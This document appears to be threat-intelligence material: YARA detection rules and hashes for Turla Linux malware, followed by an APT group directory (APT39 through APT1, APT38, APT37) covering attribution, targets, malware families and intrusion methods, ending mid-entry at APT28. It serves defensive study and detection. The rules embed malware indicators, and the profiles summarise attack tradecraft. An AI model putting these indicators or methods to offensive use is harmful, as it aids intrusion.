2dabb2c5c04da560a6b56dbaa565d1eab8189d1fa4a85557a22157877065ea08 - 4594453e2e4002101481dc44f203d3ffebe079ae - edf900cebb70c6d1fcab0234062bfc28 - 5a204263cac112318cd162f1c372437abf7f2092902b05e943e8784869629dd8 - 09580f1deb096bb50d082bd169271d41756adf73 - ea06b213d5924de65407e8931b1e4326 - d49690ccb82ff9d42d3ee9d7da693fd7d302734562de088e9298413d56b86ed0 - 9d133d7e0616573a7d1c822cc878149e7aa7bad6 - e079ec947d3d4dacb21e993b760a65dc - 8ccc081d4940c5d8aa6b782c16ed82528c0885bbb08210a8d0a8c519c54215bc - 0675329cfa4d13ee35f74c1cc236bc630b7de464 - ad6731c123c4806f91e1327f35194722 - 67d9556c695ef6c51abf6fbab17acb3466e3149cf4d20cb64d6d34dc969b6502 - f5a1a9180913bbeb1641af48660fbb756325f91e - b4587870ecf51e8ef67d98bb83bc4be7 - d9f2467ff11efae921ec83e074e4f8d2eac7881d76bff60a872a801bd45ce3d5 - c67abb20ae5100f12ce084279827632fdbcb222a - 7533ef5300263eec3a677b3f0636ae73 **Yara Rules** ```yara rule APT_MAL_LNX_Turla_Apr202004_1 { meta: description = "Detects Turla Linux malware x64 x32" date = "2020-04-24" hash1 = "67d9556c695ef6c51abf6fbab17acb3466e3149cf4d20cb64d6d34dc969b6502" hash2 = "8ccc081d4940c5d8aa6b782c16ed82528c0885bbb08210a8d0a8c519c54215bc" hash3 = "8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667" hash4 = "1d5e4466a6c5723cd30caf8b1c3d33d1a3d4c94c25e2ebe186c02b8b41daf905" hash5 = "2dabb2c5c04da560a6b56dbaa565d1eab8189d1fa4a85557a22157877065ea08" hash6 = "3e138e4e34c6eed3506efc7c805fce19af13bd62aeb35544f81f111e83b5d0d4" hash7 = "5a204263cac112318cd162f1c372437abf7f2092902b05e943e8784869629dd8" hash8 = "8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667" hash9 = "d49690ccb82ff9d42d3ee9d7da693fd7d302734562de088e9298413d56b86ed0" strings: $s1 = "/root/.hsperfdata" ascii fullword $s2 = "Desc| Filename | size |state|" ascii fullword $s3 = "VS filesystem: %s" ascii fullword $s4 = "File already exist on remote filesystem !" ascii fullword $s5 = "/tmp/.sync.pid" ascii fullword $s6 = "rem_fd: ssl " ascii fullword $s7 = "TREX_PID=%u" ascii fullword $s8 = "/tmp/.xdfg" ascii fullword $s9 = "__we_are_happy__" ascii fullword $s10 = "/root/.sess" ascii fullword $s11 = "ZYSZLRTS^Z@@NM@@G_Y_FE" ascii fullword condition: uint16(0) == 0x457f and filesize < 5000KB and 4 of them } ``` ```yara rule APT_MAL_LNX_Turla_Apr202004_1_opcode { meta: description = "Detects Turla Linux malware x64 x32" date = "2020-04-24" hash1 = "67d9556c695ef6c51abf6fbab17acb3466e3149cf4d20cb64d6d34dc969b6502" hash2 = "8ccc081d4940c5d8aa6b782c16ed82528c0885bbb08210a8d0a8c519c54215bc" hash3 = "8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667" hash4 = "1d5e4466a6c5723cd30caf8b1c3d33d1a3d4c94c25e2ebe186c02b8b41daf905" hash5 = "2dabb2c5c04da560a6b56dbaa565d1eab8189d1fa4a85557a22157877065ea08" hash6 = "3e138e4e34c6eed3506efc7c805fce19af13bd62aeb35544f81f111e83b5d0d4" hash7 = "5a204263cac112318cd162f1c372437abf7f2092902b05e943e8784869629dd8" hash8 = "8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667" hash9 = "d49690ccb82ff9d42d3ee9d7da693fd7d302734562de088e9298413d56b86ed0" strings: $op0 = { 8D 41 05 32 06 48 FF C6 88 81 E0 80 69 00 } $op1 = { 48 FF C1 48 83 F9 49 75 E9 } $op2 = { C7 05 9B 7D 29 00 1D 00 00 00 C7 05 2D 7B 29 00 65 74 68 30 C6 05 2A 7B 29 00 00 E8 } $op3 = { BF FF FF FF FF E8 96 9D 0A 00 90 90 90 90 90 90 90 90 90 90 89 F0} $op4 = { 88 D3 80 C3 05 32 9A C1 D6 0C 08 88 9A 60 A1 0F 08 42 83 FA 08 76 E9 } $op5 = { 8B 8D 50 DF FF FF B8 09 00 00 00 89 44 24 04 89 0C 24 E8 DD E5 02 00 } $op6 = { 8D 5A 05 32 9A 60 26 0C 08 88 9A 20 F4 0E 08 42 83 FA 48 76 EB } $op7 = { 8D 4A 05 32 8A 25 26 0C 08 88 8A 20 F4 0E 08 42 83 FA 08 76 EB} condition: uint16(0) == 0x457f and filesize < 5000KB and 2 of them } ``` ## REFERENCES 1. The ‘Penquin’ Turla: A Turla/Snake/Uroburos Malware for Linux; by Kurt Baumgartner, Costin Raiu. December 2014. 2. Penquin’s Moonlit Maze: The Dawn of Nation-State Digital Espionage; by Juan Andres Guerrero-Saade (GReAT), Costin Raiu (GReAT), Daniel Moore (King’s College London), Thomas Rid (King’s College London). April 2017. 3. APT Case RUAG; by GovCERT.ch: Technical Report about the Espionage Case at RUAG. May 2016. 4. Satellite Turla: APT Command and Control in the Sky. How the Turla operators hijack satellite Internet links, by Stefan Tanase. September 2015.
# Advanced Persistent Threats (APTs) ## APT39 **Suspected attribution:** Iran **Target sectors:** While APT39's targeting scope is global, its activities are concentrated in the Middle East. APT39 has prioritized the telecommunications sector, with additional targeting of the travel industry and IT firms that support it and the high-tech industry. **Overview:** The group's focus on the telecommunications and travel industries suggests intent to perform monitoring, tracking, or surveillance operations against specific individuals, collect proprietary or customer data for commercial or operational purposes that serve strategic requirements related to national priorities, or create additional accesses and vectors to facilitate future campaigns. Government entities targeting suggests a potential secondary intent to collect geopolitical data that may benefit nation-state decision making. **Associated malware:** The group primarily leverages the SEAWEED and CACHEMONEY backdoors along with a specific variant of the POWBAT backdoor. **Attack vectors:** For initial compromise, Mandiant Intelligence has observed APT39 leverage spearphishing with malicious attachments and/or hyperlinks typically resulting in a POWBAT infection. In some cases, previously compromised email accounts have also been leveraged, likely to abuse inherent trusts and increase the chances of a successful attack. APT39 frequently registers and leverages domains that masquerade as legitimate web services and organizations that are relevant to the intended target. Furthermore, this group has routinely identified and exploited vulnerable web servers of targeted organizations to install web shells, such as ANTAK and ASPXSPY, and used stolen legitimate credentials to compromise externally facing Outlook Web Access (OWA) resources. We have not observed APT39 exploit vulnerabilities. ## APT35 **Target sectors:** U.S., Western Europe, and Middle Eastern military, diplomatic, and government personnel, organizations in the media, energy, and defense industrial base, and engineering, business services, and telecommunications sectors. **Overview:** APT35 (aka Newscaster Team) is an Iranian government-sponsored cyber espionage team that conducts long-term, resource-intensive operations to collect strategic intelligence. Mandiant Threat Intelligence has observed APT35 operations dating back to 2014. APT35 has historically relied on marginally sophisticated tools, including publicly available webshells and penetration testing tools, suggesting a relatively nascent development capability. However, the breadth and scope of APT35's operations, particularly as it relates to its complex social engineering efforts, likely indicates that the group is well-resourced in other areas. **Associated malware:** ASPXSHELLSV, BROKEYOLK, PUPYRAT, TUNNA, MANGOPUNCH, DRUBOT, HOUSEBLEND **Attack vectors:** APT35 typically relies on spearphishing to initially compromise an organization, often using lures related to health care, job postings, resumes, or password policies. However, we have also observed the group using compromised accounts with credentials harvested from prior operations, strategic web compromises, and password spray attacks against externally facing web applications as additional techniques to gain initial access. ## APT34 **Suspected attribution:** Iran **Target sectors:** This threat group has conducted broad targeting across a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. **Overview:** We believe APT34 is involved in a long-term cyber espionage operation largely focused on reconnaissance efforts to benefit Iranian nation-state interests and has been operational since at least 2014. We assess that APT34 works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. **Associated malware:** POWBAT, POWRUNER, BONDUPDATER **Attack vectors:** In its latest campaign, APT34 leveraged the recent Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER. ## APT33 **Suspected attribution:** Iran **Target sectors:** Aerospace, energy **Overview:** APT33 has targeted organizations, spanning multiple industries, headquartered in the U.S., Saudi Arabia, and South Korea. APT33 has shown particular interest in organizations in the aviation sector involved in both military and commercial capacities, as well as organizations in the energy sector with ties to petrochemical production. **Associated malware:** SHAPESHIFT, DROPSHOT, TURNEDUP, NANOCORE, NETWIRE, ALFA Shell **Attack vectors:** APT33 sent spear-phishing emails to employees whose jobs related to the aviation industry. These emails included recruitment-themed lures and contained links to malicious HTML application (.hta) files. The .hta files contained job descriptions and links to legitimate job postings on popular employment websites that would be relevant to the targeted individuals. ## APT41 **Suspected attribution:** China **Target sectors:** APT41 has directly targeted organizations in at least 14 countries dating back to as early as 2012. The group’s espionage campaigns have targeted healthcare, telecoms, and the high-tech sector, and have historically included stealing intellectual property. Their cyber crime intrusions are most apparent among video game industry targeting, including the manipulation of virtual currencies, and attempted deployment of ransomware. APT41 operations against higher education, travel services, and news/media firms provide some indication that the group also tracks individuals and conducts surveillance. **Overview:** APT41 is a prolific cyber threat group that carries out Chinese state-sponsored espionage activity in addition to financially motivated activity potentially outside of state control. **Associated malware:** APT41 has been observed using at least 46 different code families and tools. **Attack vectors:** APT41 often relies on spear-phishing emails with attachments such as compiled HTML (.chm) files to initially compromise their victims. Once in a victim organization, APT41 can leverage more sophisticated TTPs and deploy additional malware. For example, in a campaign running almost a year, APT41 compromised hundreds of systems and used close to 150 unique pieces of malware including backdoors, credential stealers, keyloggers, and rootkits. APT41 has also deployed rootkits and Master Boot Record (MBR) bootkits on a limited basis to hide their malware and maintain persistence on select victim systems. ## APT40 **Suspected attribution:** China **Target sectors:** APT40 is a Chinese cyber espionage group that typically targets countries strategically important to the Belt and Road Initiative. Although the group targets global organizations — especially those with a focus on engineering and defense — it also historically conducted campaigns against regional entities in areas such as Southeast Asia. Since at least January 2013, the group has conducted campaigns against a range of verticals including maritime targets, defense, aviation, chemicals, research/education, government, and technology organizations. **Overview:** Mandiant Intelligence believes that APT40's operations are a cyber counterpart to China's efforts to modernize its naval capabilities; this is also manifested in targeting wide-scale research projects at universities and obtaining designs for marine equipment and vehicles. The group's operations tend to target government-sponsored projects and take large amounts of information specific to such projects, including proposals, meetings, financial data, shipping information, plans and drawings, and raw data. **Associated malware:** APT40 has been observed using at least 51 different code families. Of these, 37 are non-public. At least seven of these non-public tools (BADSIGN, FIELDGOAL, FINDLOCK, PHOTO, SCANBOX, SOGU, and WIDETONE) are shared with other suspected China-nexus operators. **Attack vectors:** APT40 typically poses as a prominent individual who is probably of interest to a target to send spear-phishing emails. This includes pretending to be a journalist, an individual from a trade publication, or someone from a relevant military organization or non-governmental organization (NGO). In some instances, the group has leveraged previously compromised email addresses to send spear-phishing emails. ## APT31 **Suspected attribution:** China **Target sectors:** Multiple, including government, international financial organization, and aerospace and defense organizations, as well as high tech, construction and engineering, telecommunications, media, and insurance. **Overview:** APT31 is a China-nexus cyber espionage actor focused on obtaining information that can provide the Chinese government and state-owned enterprises with political, economic, and military advantages. **Associated malware:** SOGU, LUCKYBIRD, SLOWGYRO, DUCKFAT **Attack vectors:** APT31 has exploited vulnerabilities in applications such as Java and Adobe Flash to compromise victim environments. ## APT30 **Suspected attribution:** China **Target sectors:** Members of the Association of Southeast Asian Nations (ASEAN) **Overview:** APT30 is noted not only for sustained activity over a long period of time but also for successfully modifying and adapting source code to maintain the same tools, tactics, and infrastructure since at least 2005. Evidence shows that the group prioritizes targets, most likely works in shifts in a collaborative environment, and builds malware from a coherent development plan. The group has had the capability to infect air-gapped networks since 2005. **Associated malware:** SHIPSHAPE, SPACESHIP, FLASHFLOOD **Attack vectors:** APT30 uses a suite of tools that includes downloaders, backdoors, a central controller, and several components designed to infect removable drives and cross air-gapped networks to steal data. APT30 frequently registers its own DNS domains for malware CnC activities. ## APT27 **Suspected attribution:** China **Target sectors:** APT27 has targeted multiple organizations headquartered around the globe, including North and South America, Europe, and the Middle East. These organizations fall into a range of different industries, including business services, high tech, government, and energy; however, a notable number are in the aerospace and transport or travel industries. **Overview:** APT27 engages in cyber operations where the goal is intellectual property theft, usually focusing on the data and projects that make a particular organization competitive within its field. **Associated malware:** PANDORA, SOGU, ZXSHELL, GHOST, WIDEBERTH, QUICKPULSE, FLOWERPOT **Attack vectors:** APT27 often uses spear phishing as its initial compromise method. APT27 threat actors are not known for using original zero-day exploits, but they may leverage those exploits once they have been made public. In at least one case, APT27 actors used a compromised account at one victim organization to send a spear phishing email to other intended victims in similar industries. Additionally, APT27 may compromise vulnerable web applications in order to gain an initial foothold. ## APT26 **Suspected attribution:** China **Target sectors:** Aerospace, Defense, and Energy sectors, among others. **Overview:** APT26 engages in cyber operations where the goal is intellectual property theft, usually focusing on the data and projects that make a particular organization competitive within its field. **Associated malware:** SOGU, HTRAN, POSTSIZE, TWOCHAINS, BEACON **Attack vectors:** The group frequently uses strategic web compromises to gain access to target networks and custom backdoors once they are inside a victim environment. ## APT25 **AKA:** Uncool, Vixen Panda, Ke3chang, Sushi Roll, Tor **Suspected attribution:** China **Target sectors:** The defense industrial base, media, financial services, and transportation sectors in the U.S. and Europe. **Overview:** APT25 engages in cyber operations where the goal is data theft. **Associated malware:** LINGBO, PLAYWORK, MADWOFL, MIRAGE, TOUGHROW, TOYSNAKE, SABERTOOTH **Attack vectors:** APT25 has historically used spear phishing in their operations, including messages containing malicious attachments and malicious hyperlinks. APT25 threat actors typically do not use zero-day exploits but may leverage those exploits once they have been made public. ## APT24 **AKA:** PittyTiger **Suspected attribution:** China **Target sectors:** APT24 has targeted a wide variety of industries, including organizations in the government, healthcare, construction and engineering, mining, nonprofit, and telecommunications industries. **Overview:** This group is known to have targeted organizations headquartered in countries including the U.S. and Taiwan. APT24 has historically used the RAR archive utility to encrypt and compress stolen data prior to transferring it out of the network. Data theft exfiltrated from this actor mainly focused on documents with political significance, suggesting its intent is to monitor the positions of various nation-states on issues applicable to China’s ongoing territorial or sovereignty dispute. **Associated malware:** PITTYTIGER, ENFAL, TAIDOOR **Attack vectors:** APT24 has used phishing emails that use military, renewable energy, or business strategy themes as lures. Further, APT24 engages in cyber operations where the goal is intellectual property theft, usually focusing on the data and projects that make a particular organization competitive within its field. ## APT23 **Suspected attribution:** China **Target sectors:** Media and government in the U.S. and the Philippines **Overview:** APT23 has stolen information that has political and military significance, rather than intellectual property. This suggests that APT23 may perform data theft in support of more traditional espionage operations. **Associated malware:** NONGMIN **Attack vectors:** APT23 has used spear phishing messages to compromise victim networks, including education-related phishing lures. APT23 actors are not known to use zero-day exploits, but this group has leveraged those exploits once they have been made public. ## APT22 **AKA:** Barista **Suspected attribution:** China **Target sectors:** A broad set of political, military, and economic entities in East Asia, Europe, and the U.S. **Overview:** We believe APT22 has a nexus to China and has been operational since at least early 2014, carrying out intrusions and attack activity against public and private sector entities, including dissidents. **Associated malware:** PISCES, SOGU, FLATNOTE, ANGRYBELL, BASELESS, SEAWOLF, LOGJAM **Attack vectors:** APT22 threat actors have used strategic web compromises in order to passively exploit targets of interest. APT22 actors have also identified vulnerable public-facing web servers on victim networks and uploaded webshells to gain access to the victim network. ## APT21 **AKA:** Zhenbao **Suspected attribution:** China **Target sectors:** Government **Overview:** APT21 leverages strategic Russian-language attachments themed with national security issues in lure documents. Historically, social engineering content is indicative of a cyber espionage operation attempting to gain unauthorized access to privileged information concerning state security in Russia. An analysis of APT21 techniques suggests that another of their focus areas is dissident groups which seek greater autonomy or independence from China, such as those from Tibet or Xinjiang. **Associated malware:** SOGU, TEMPFUN, Gh0st, TRAVELNET, HOMEUNIX, ZEROTWO **Attack vectors:** APT21 leverages spear phishing email messages with malicious attachments, links to malicious files, or web pages. They have also used strategic web compromises (SWCs) to target potential victims. APT21 frequently uses two backdoors known as TRAVELNET and TEMPFUN. Significantly, APT21 typically primarily uses custom backdoors, rarely using publicly available tools. ## APT20 **AKA:** Twivy **Suspected attribution:** China **Target sectors:** Construction and engineering, health care, non-profit organizations, defense industrial base, and chemical research and production companies. **Overview:** APT20 engages in cyber operations where the goal is data theft. APT20 conducts intellectual property theft but also appears interested in stealing data from or monitoring the activities of individuals with particular political interests. Based on available data, we assess that this is a freelancer group with some nation-state sponsorship located in China. **Associated malware:** QIAC, SOGU, Gh0st, ZXSHELL, Poison Ivy, BEACON, HOMEUNIX, STEW **Attack vectors:** APT20's use of strategic web compromises provides insight into a second set of likely targets. Many of APT20's SWCs have been hosted on websites (including Chinese-language websites) that deal with issues such as democracy, human rights, freedom of the press, ethnic minorities in China, and other issues. ## APT19 **Also known as:** Codoso Team **Suspected attribution:** China **Target sectors:** Legal and investment **Overview:** A group likely composed of freelancers, with some degree of sponsorship by the Chinese government. **Associated malware:** BEACON, COBALTSTRIKE **Attack vectors:** In 2017, APT19 used three different techniques to attempt to compromise targets. In early May, the phishing lures leveraged RTF attachments that exploited the Microsoft Windows vulnerability described in CVE 2017-0199. Toward the end of May, APT19 switched to using macro-enabled Microsoft Excel (XLSM) documents. In the most recent versions, APT19 added an application whitelisting bypass to the XLSM documents. At least one observed phishing lure delivered a Cobalt Strike payload. ## APT18 **Also known as:** Wekby **Suspected attribution:** China **Target sectors:** Aerospace and Defense, Construction and Engineering, Education, Health and Biotechnology, High Tech, Telecommunications, Transportation **Overview:** Very little has been released publicly about this group. **Associated malware:** Gh0st RAT **Attack vectors:** Frequently developed or adapted zero-day exploits for operations, which were likely planned in advance. Used data from Hacking Team leak, which demonstrated how the group can shift resources (i.e., selecting targets, preparing infrastructure, crafting messages, updating tools) to take advantage of unexpected opportunities like newly exposed exploits. ## APT17 **Also known as:** Tailgator Team, Deputy Dog **Suspected attribution:** China **Target sectors:** U.S. government, and international law firms and information technology companies **Overview:** Conducts network intrusion against targeted organizations. **Associated malware:** BLACKCOFFEE **Attack vectors:** The threat group took advantage of the ability to create profiles and post in forums to embed encoded CnC for use with a variant of the malware it used. This technique can make it difficult for network security professionals to determine the true location of the CnC, and allow the CnC infrastructure to remain active for a longer period. ## APT16 **Suspected attribution:** China **Target sectors:** Japanese and Taiwanese organizations in the high-tech, government services, media, and financial services industries **Overview:** China-based group concerned with Taiwan political and journalistic matters. **Associated malware:** IRONHALO, ELMER **Attack vectors:** Spearphishing emails sent to Taiwanese media organizations and webmail addresses. Lure documents contained instructions for registration and subsequent listing of goods on a Taiwanese auction website. ## APT15 **Suspected attribution:** China **Target sectors:** Global targets in the trade, economic and financial, energy, and military sectors in support of Chinese government interests. **Overview:** APT15 has targeted organizations headquartered in multiple locations, including a number of European countries, the U.S., and South Africa. APT15 operators share resources, including backdoors as well as infrastructure, with other Chinese APTs. **Associated malware:** ENFAL, BALDEAGLE, NOISEMAKER, MIRAGE **Attack vectors:** APT15 typically uses well-developed spearphishing emails for initial compromise against global targets in various sectors that are of interest to the Chinese government. Significantly, APT15 uses backdoors and infrastructure that is not unique to the group, making attribution challenging. ## APT14 **Suspected attribution:** China **Target sectors:** Government, telecommunications, and construction and engineering. **Overview:** APT14 engages in cyber operations where the goal is data theft, with a possible focus on military and maritime equipment, operations, and policies. We believe that the stolen data, especially encryption and satellite communication equipment specifications, could be used to enhance military operations, such as intercepting signals or otherwise interfering with military satellite communication networks. **Associated malware:** Gh0st, POISONIVY, CLUBSEAT, GROOVY **Attack vectors:** APT14 threat actors do not tend to use zero-day exploits but may leverage those exploits once they have been made public. They may leverage a custom SMTP mailer tool to send their spear phishing messages. APT14 phishing messages are often crafted to appear to originate from trusted organizations. ## APT12 **Also known as:** Calc Team **Suspected attribution:** China **Target sectors:** Journalists, government, defense industrial base **Overview:** APT12 is believed to be a cyber espionage group thought to have links to the Chinese People's Liberation Army. APT12's targets are consistent with larger People's Republic of China (PRC) goals. Intrusions and campaigns conducted by this group are in line with PRC goals and self-interest in Taiwan. **Associated malware:** RIPTIDE, HIGHTIDE, THREBYTE, WATERSPOUT **Attack vectors:** Mandiant observed APT12 deliver these exploit documents via phishing emails from valid but compromised accounts. Based on past APT12 activity, we expect the threat group to continue to utilize phishing as a malware delivery method. ## APT10 **Also known as:** Menupass Team **Suspected attribution:** China **Target sectors:** Construction and engineering, aerospace, and telecom firms, and governments in the United States, Europe, and Japan **Overview:** APT10 is a Chinese cyber espionage group that Mandiant has tracked since 2009. They have historically targeted construction and engineering, aerospace, and telecom firms, and governments in the United States, Europe, and Japan. We believe that the targeting of these industries has been in support of Chinese national security goals, including acquiring valuable military and intelligence information as well as the theft of confidential business data to support Chinese corporations. **Associated malware:** HAYMAKER, SNUGRIDE, BUGJUICE, QUASARRAT **Attack vectors:** This recent APT10 activity has included both traditional spear phishing and access to victim’s networks through managed service providers. APT10 spear phishes have been relatively unsophisticated, leveraging .lnk files within archives, files with double extensions (e.g., [Redacted]_Group_Meeting_Document_20170222_doc_.exe), and in some cases simply identically named decoy documents and malicious launchers within the same archive. In addition to the spear phishes, Mandiant Threat Intelligence has observed APT10 accessing victims through global service providers. ## APT9 **Suspected attribution:** Based on available data, we assess that this is a freelancer group with some nation-state sponsorship, possibly China. **Target sectors:** Organizations headquartered in multiple countries and in industries such as health care and pharmaceuticals, construction and engineering, and aerospace and defense. **Overview:** APT9 engages in cyber operations where the goal is data theft, usually focusing on the data and projects that make a particular organization competitive within its field. **Associated malware:** SOGU, HOMEUNIX, PHOTO, FUNRUN, Gh0st, ZXSHEL **Attack vectors:** APT9 was historically very active in the pharmaceuticals and biotechnology industry. We have observed this actor use spearphishing, valid accounts, as well as remote services for initial access. On at least one occasion, Mandiant observed APT9 at two companies in the biotechnology industry and suspect that APT9 actors may have gained initial access to one of the companies by using a trusted relationship between the two companies. APT9 uses a wide range of backdoors, including publicly available backdoors, as well as backdoors that are believed to be custom, but are used by multiple APT groups. ## APT8 **Suspected attribution:** China **Target sectors:** A broad range of industries, including media and entertainment, construction and engineering, and aerospace and defense. **Overview:** APT8 engages in cyber operations where the goal is intellectual property theft, usually focusing on the data and projects that make an organization competitive within its field. We assess that this is a freelancer group located in China with some nation-state sponsorship. APT8 has targeted organizations headquartered in multiple countries, including the U.S., Germany, the U.K., India, and Japan. **Associated malware:** HASH, FLYZAP, GOLFPRO, SAFEPUTT **Attack vectors:** APT8 actors often use spear phishing email messages with malicious attachments or links, or exploit vulnerable Internet-facing web servers to compromise target organizations. In addition, in multiple intrusions, APT8 actors sent malicious links to potential victims via chat or instant messaging programs. ## APT7 **Suspected attribution:** China **Target sectors:** Construction, engineering, aerospace, and defense industrial base. **Overview:** APT7 engages in cyber operations where the goal is intellectual property theft, usually focusing on data and projects that make an organization competitive within its field. This group is known to have targeted organizations headquartered in the U.S. and U.K. **Associated malware:** DIGDUG, TRACKS **Attack vectors:** APT7 threat actors have used access to one organization to infiltrate another organization under the same corporate parent. This is a form of lateral movement, but in this case was also the initial compromise method for the second organization. ## APT6 **Suspected attribution:** China **Target sectors:** Transportation, Automotive, Construction and Engineering, Telecommunications, Electronic, Construction and Materials. **Overview:** APT6 engages in cyber operations where the goal is data theft, most likely data and projects that make an organization competitive within its field. APT6 targeted organizations headquartered in the U.S. and U.K. **Associated malware:** BELUGA, EXCHAIN, PUPTENT **Attack vectors:** APT6 utilizes several custom backdoors, including some used by other APT groups as well as those that are unique to the group. ## APT5 **Suspected attribution:** China **Target sectors:** Regional telecommunication providers, Asia-based employees of global telecommunications and tech firms, high-tech manufacturing, and military application technology in the U.S., Europe, and Asia. **Overview:** APT5 has been active since at least 2007. APT5 has targeted or breached organizations across multiple industries, but its focus appears to be on telecommunications and technology companies, especially information about satellite communications. As early as 2014, Mandiant Incident Response discovered APT5 making unauthorized code modifications to files in the embedded operating system of another technology platform. In 2015, APT5 compromised a U.S. telecommunications organization providing services and technologies for private and government entities. During this intrusion, the actors downloaded and modified some of the router images related to the company’s network routers. Also during this time, APT5 stole files related to military technology from a South Asian defense organization. Observed filenames suggest the actors were interested in product specifications, emails concerning technical products, procurement bids and proposals, and documents on unmanned aerial vehicles (UAVs). **Associated malware:** BRIGHTCREST, SWEETCOLA, SPIRITBOX, PALEJAB, WIDERIM, WINVAULT, HAPPYSAD, BIRDWORLD, FARCRY, CYFREE, FULLSILO, HELLOTHEWORLD, HAZELNUT, GIF89A, SCREENBIND, SHINYFUR, TRUCKBED, LEOUNCIA, FREESWIM, PULLTAB, HIREDHELP, NEDDYHORSE, PITCHFORK, BRIGHTCOMB, ENCORE, TABCTENG, SHORTLEASH, CLEANACT, BRIGHTCYAN, DANCEPARTY, HALFBACK, PUSHBACK, COOLWHIP, LOWBID, TIGHTROPE, DIRTYWORD, AURIGA, KEYFANG, Poison Ivy **Attack vectors:** It appears to be a large threat group that consists of several subgroups, often with distinct tactics and infrastructure. The group uses malware with keylogging capabilities to specifically target telecommunication companies' corporate networks, employees, and executives. APT5 has shown significant interest in compromising networking devices and manipulating the underlying software that supports these appliances. ## APT4 **Also known as:** Maverick Panda, Sykipot Group, Wisp **Suspected attribution:** China **Target sectors:** Aerospace and Defense, Industrial Engineering, Electronics, Automotive, Government, Telecommunications, and Transportation. **Overview:** APT4 appears to target the Defense Industrial Base (DIB) at a higher rate of frequency than other commercial organizations. However, APT4's history of targeted intrusions is wide in scope. **Associated malware:** GETKYS, LIFESAVER, CCHIP, SHYLILT, SWEETTOOTH, PHOTO, SOGO **Attack vectors:** APT4 actors often leverage spear phishing messages using U.S. government, Department of Defense, or defense industrial base themes. APT4 actors may repurpose valid content from government or U.S. DoD websites within their message bodies to lend them legitimacy. ## APT3 **Also known as:** UPS Team **Suspected attribution:** China **Target sectors:** Aerospace and Defense, Construction and Engineering, High Tech, Telecommunications, Transportation **Overview:** The China-based threat group Mandiant tracks as APT3 is one of the more sophisticated threat groups that Mandiant Threat Intelligence tracks, and they have a history of using browser-based exploits as zero-days (e.g., Internet Explorer, Firefox, and Adobe Flash Player). After successfully exploiting a target host, this group will quickly dump credentials, move laterally to additional hosts, and install custom backdoors. APT3’s command and control (CnC) infrastructure is difficult to track, as there is little overlap across campaigns. **Associated malware:** SHOTPUT, COOKIECUTTER, SOGU **Attack vectors:** The phishing emails used by APT3 are usually generic in nature, almost appearing to be spam. Attacks have exploited an unpatched vulnerability in the way Adobe Flash Player parses Flash Video (FLV) files. The exploit uses common vector corruption techniques to bypass Address Space Layout Randomization (ASLR) and uses Return-Oriented Programming (ROP) to bypass Data Execution Prevention (DEP). A neat trick to their ROP technique makes it simpler to exploit and will evade some ROP detection techniques. Shellcode is stored in the packed Adobe Flash Player exploit file alongside a key used for its decryption. The payload is xor encoded and hidden inside an image. ## APT2 **Suspected attribution:** China **Target sectors:** Military and Aerospace. **Overview:** This group was first observed in 2010. APT2 engages in cyber operations where the goal is intellectual property theft, usually focusing on the data and projects that make an organization competitive within its field. **Associated malware:** MOOSE, WARP **Attack vectors:** Spearphishing emails that exploit CVE-2012-0158. ## APT1 **Also known as:** Unit 61398, Comment Crew **Suspected attribution:** China’s People’s Liberation Army (PLA) General Staff Department’s (GSD) 3rd Department, which is most commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. **Target sectors:** Information Technology, Aerospace, Public Administration, Satellites and Telecommunications, Scientific Research and Consulting, Energy, Transportation, Construction and Manufacturing, Engineering Services, High-tech Electronics, International Organizations, Legal Services, Media, Advertising and Entertainment, Navigation, Chemicals, Financial Services, Food and Agriculture, Healthcare, Metals and Mining, Education **Overview:** APT1 has systematically stolen hundreds of terabytes of data from at least 141 organizations and has demonstrated the capability and intent to steal from dozens of organizations simultaneously. The group focuses on compromising organizations across a broad range of industries in English-speaking countries. The size of APT1’s infrastructure implies a large organization with at least dozens, but potentially hundreds of human operators. **Associated malware:** TROJAN.ECLTYS, BACKDOOR.BARKIOFORK, BACKDOOR.WAKEMINAP, TROJAN.DOWNBOT, BACKDOOR.DALBOT, BACKDOOR.REVIRD, TROJAN.BADNAME, BACKDOOR.WUALESS **Attack vectors:** The most commonly observed method of initial compromise is spear phishing. The spear phishing emails contain either a malicious attachment or a hyperlink to a malicious file. The subject line and the text in the email body are usually relevant to the recipient. APT1 also creates webmail accounts using real peoples’ names. While APT1 intruders occasionally use publicly available backdoors such as Poison Ivy and Gh0st RAT, the vast majority of the time they use what appear to be their own custom backdoors. Throughout their stay in the network (which could be years), APT1 usually installs new backdoors as they claim more systems in the environment. Then, if one backdoor is discovered and deleted, they still have other backdoors they can use. We usually detect multiple families of APT1 backdoors scattered around a victim network when APT1 has been present for more than a few weeks. ## APT38 **Suspected attribution:** North Korea **Target sectors:** Financial institutions worldwide **Overview:** Our analysis of the North Korean regime-backed threat group we are calling APT38 reveals that they are responsible for conducting the largest observed cyber heists. Although APT38 shares malware development resources and North Korean state sponsorship with a group referred to by the security community as “Lazarus,” we believe that APT38’s financial motivation, unique toolset, and tactics, techniques, and procedures (TTPs) are distinct enough for them to be tracked separately from other North Korean cyber activity. **Associated malware:** This large and prolific group uses a variety of custom malware families, including backdoors, tunnelers, dataminers, and destructive malware to steal millions of dollars from financial institutions and render victim networks inoperable. **Attack vectors:** APT38 has conducted operations in over 16 organizations in at least 11 countries. This group is careful, calculated, and has demonstrated a desire to maintain access to victim environments for as long as necessary to understand the network layout, required permissions, and system technologies to achieve its goals. APT38 is unique in that they are not afraid to aggressively destroy evidence or victim networks as part of their operations. ## APT37 **Suspected attribution:** North Korea **Target sectors:** Primarily South Korea – though also Japan, Vietnam, and the Middle East – in various industry verticals, including chemicals, electronics, manufacturing, aerospace, automotive, and healthcare. **Overview:** Our analysis of APT37’s recent activity reveals that the group’s operations are expanding in scope and sophistication, with a toolset that includes access to zero-day vulnerabilities and wiper malware. We assess with high confidence that this activity is carried out on behalf of the North Korean government given malware development artifacts and targeting that aligns with North Korean state interests. Mandiant Threat Intelligence believes that APT37 is aligned with the activity publicly reported as Scarcruft and Group123. ## APT28 **Also known as:** Tsar Team **Suspected attribution:** 